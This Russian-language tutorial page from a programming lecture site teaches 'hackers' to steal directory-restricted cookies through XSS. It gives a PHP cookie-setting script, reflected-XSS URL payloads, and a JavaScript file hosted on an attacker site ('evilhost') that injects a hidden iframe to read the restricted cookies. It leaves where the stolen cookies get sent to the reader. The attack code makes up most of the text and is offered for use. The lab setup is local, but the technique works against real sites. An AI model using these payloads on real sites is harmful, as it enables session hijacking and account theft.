русс | укр

Языки программирования

ПаскальСиАссемблерJavaMatlabPhpHtmlJavaScriptCSSC#DelphiТурбо Пролог

Компьютерные сетиСистемное программное обеспечениеИнформационные технологииПрограммирование

Все о программировании


Linux Unix Алгоритмические языки Аналоговые и гибридные вычислительные устройства Архитектура микроконтроллеров Введение в разработку распределенных информационных систем Введение в численные методы Дискретная математика Информационное обслуживание пользователей Информация и моделирование в управлении производством Компьютерная графика Математическое и компьютерное моделирование Моделирование Нейрокомпьютеры Проектирование программ диагностики компьютерных систем и сетей Проектирование системных программ Системы счисления Теория статистики Теория оптимизации Уроки AutoCAD 3D Уроки базы данных Access Уроки Orcad Цифровые автоматы Шпаргалки по компьютеру Шпаргалки по программированию Экспертные системы Элементы теории информации

Получение доступа к cookies с ограниченной зоной действия.


Дата добавления: 2015-07-09; просмотров: 845; Нарушение авторских прав


Второй пример: угон cookies, зона действия которых ограничена. Хоть и это относится к угону cookies, но обычным угоном значения document.cookie здесь ничего не сделаешь.

 

Небольшая справка для тех, кто не представляет себе, что такое зона действие cookies: Здесь имеется в виду то, что cookies могут передаваться не всему сайту, а отдельной его директории (или скрипту). Это может создать затруднения для начинающих взломщиков. Если, например, зона действия cookies ограничена папкой /dir/ на сайте site.com, то, найдя XSS в корне сайта, или в какой либо другой директории (помимо /dir/), с помощью document.cookie cookies Вы получить не сможете.

 

Далее в папке www папки clientsite создайте директорию cookdir. Займёмся кодингом - напишем скрипт, который будет устанавливать cookies с ограниченной зоной действия. Вот его код:

 

<?php

# отключаем вывод ошибок

error_reporting(0);

# если в cookies с именем test ничего нет, то создаём cookies.

if ( strlen($_COOKIE['test'])==0 ) {

# test – имя cookies, hacker – значение, которое там будет находиться.

# time()+3600 – время действия cookies - это 1 час с момента создания

# /cookdir/ - папка, которой ограничено действие cookies.

setcookie("test","hacker",time()+3600,"/cookdir/");

} else {

# Если же cookies установлены то выводим их на экран.

print "Cookie: ".$_COOKIE['test'];

}

?>

 

Назовём этот скрипт index.php и поместим в папку cookdir хоста clientsite. Теперь откройте браузер и перейдите по адресу http://clientsite/cookdir/ . Вы должны увидеть пустую страницу. Далее обновите её и увидите содержимое cookies:

 

 

После этого обратитесь к корню сайта с параметром word равным <script>alert(document.cookie)</script>



 

http://clientsite/index.php?word=<script>alert(document.cookie)</script>

 

Если предыдущий скрипт Вы написали правильно, то cookies Вы не увидите из-за их ограниченной зоны действия:

Вот тут то и может застопориться начинающий взломщик – смотрим в браузере cookies – они есть, проводим XSS – их нет. Что бы обойти данное ограничение мы воспользуется html-тегом iframe - данный тег используется для создания отдельных, независимых фреймов. Грубо говоря, он не является потомком основного документа, а сам представляет собой документ. Огромный плюс для взломщика этот тэг представляет из-за того, что с помощью него можно эмулировать действия пользователя. Тэг iframe имеет свойство src – адрес источника, откуда нужно загрузить данные в документ. Сделаем следующее: введём в качестве значения параметра word следующий код:

 

<iframe src=/cookdir/ width=100 heigth=100></iframe>

 

После нажатия Enter Вы должны увидеть следующее:

 

 

Как видите, браузер встретив тэг <iframe> обратился к пути указанному в src, к тому же видно что он передал туда cookies, так как там зона действия cookies не ограничена. Далее нужно будет сделать следующее: разместить на нашем сайте (evilhost) скрипт написанный на JavaScript (далее JS), который выведет в окно пользователя тэг <iframe> (скрипт с этим кодом мы подключим через XSS). Так как iframe создаёт новый документ то и объект cookie содержит совершенно иную информацию, а именно – cookies, которые передались открывшемуся документу. В нашем случае это как раз те cookies, которые мы пытались достать в начале, но не смогли из-за ограничений их зоны действия. Далее с помощью того же JS-кода мы получим значение объекта cookie и выведем их на экран функцией alert().

 

Итак, начнём. Наш скрипт, содержащий вредоносный код мы назовём xss_code.js. В начале работы нашего скрипта нам необходимо вывести iframe – для этого мы будем использовать innerHTML так же как и в первом варианте – то есть просто допишем код в документ:

 

function WriteIframeCode(){

var div=document.getElementById("main_div");

div.innerHTML=div.innerHTML+"<iframe style="display:none" onload=show_cookies(); name=evilframe id=evilframe src=http://clientsite/cookdir/index.php></iframe>"

}

 

Обратите внимание на следующие моменты:

· Свойство style содержит “display:none” что делает наш фрейм невидимым.

· name и id это имя фрейма и его id. Это нужно для последующего обращения к нему с помощью JS.

· http://clientsite/cookdir/index.php - адрес откуда нам надо взять cookies

· onload=show_cookies() – при окончании загрузки данных во фрейм вызываем функцию show_cookies()

А вот, собственно, и код функции show_cookies():

 

function show_cookies(){

var client_cookies=window.evilframe.document.cookie;

alert(client_cookies);

}

 

Тут мы в переменную client_cookies выводим объект cookie, который имеется в нашем фрейме(evilframe), а затем выводим client_cookies через функцию alert(). С самого начала скрипта нам нужно вызвать эти 2 функции – сначала write_code(), а затем show_cookie(). То есть у нас получается следующий код:

 

// Как только скрипт загружен, вызываем необходимые функции

WriteIframeCode();

// Код функций.

function WriteIframeCode(){

var div=document.getElementById("main_div");

div.innerHTML=div.innerHTML+"<iframe style="display:none" onload=ShowCookies(); name=evilframe id=evilframe src=http://clientsite/cookdir/index.php></iframe>"

}

function ShowCookies(){

var client_cookies=window.evilframe.document.cookie;

alert(client_cookies);

}

 

Сохраните данный скрипт (xss_code.js) в корне нашего атакующего хоста (/home/evilhost/www/).

Теперь нам осталось только подключить данный код к уязвимой странице с помощью такого запроса:

 

http://clientsite/index.php?word=<script src=http://evilhost/xss_code.js></script>

 

Если Вы всё сделали правильно, то должны увидеть то что лежит в cookies которые мы пытаемся достать, а именно:

Вот и всё, наша задача выполнена. Мы получили нужные cookies, куда они отправятся потом – дело Ваше. Ещё стоит обратить внимание вот на что – таким способом cookies от какого-либо другого сайта Вы не получите, то есть вы можете получать cookies только внутри определённого домена. Если же Вы загрузите в iframe документ из другого домена то браузер запретит Вам обращаться к его содержимому.



<== предыдущая лекция | следующая лекция ==>
Дописывание в определённое место страницы произвольного HTML/JS-кода. | Извлечение данных. Оператор SELECT


Карта сайта Карта сайта укр


Уроки php mysql Программирование

Онлайн система счисления Калькулятор онлайн обычный Инженерный калькулятор онлайн Замена русских букв на английские для вебмастеров Замена русских букв на английские

Аппаратное и программное обеспечение Графика и компьютерная сфера Интегрированная геоинформационная система Интернет Компьютер Комплектующие компьютера Лекции Методы и средства измерений неэлектрических величин Обслуживание компьютерных и периферийных устройств Операционные системы Параллельное программирование Проектирование электронных средств Периферийные устройства Полезные ресурсы для программистов Программы для программистов Статьи для программистов Cтруктура и организация данных


 


Не нашли то, что искали? Google вам в помощь!

 
 

© life-prog.ru При использовании материалов прямая ссылка на сайт обязательна.

Генерация страницы за: 4.653 сек.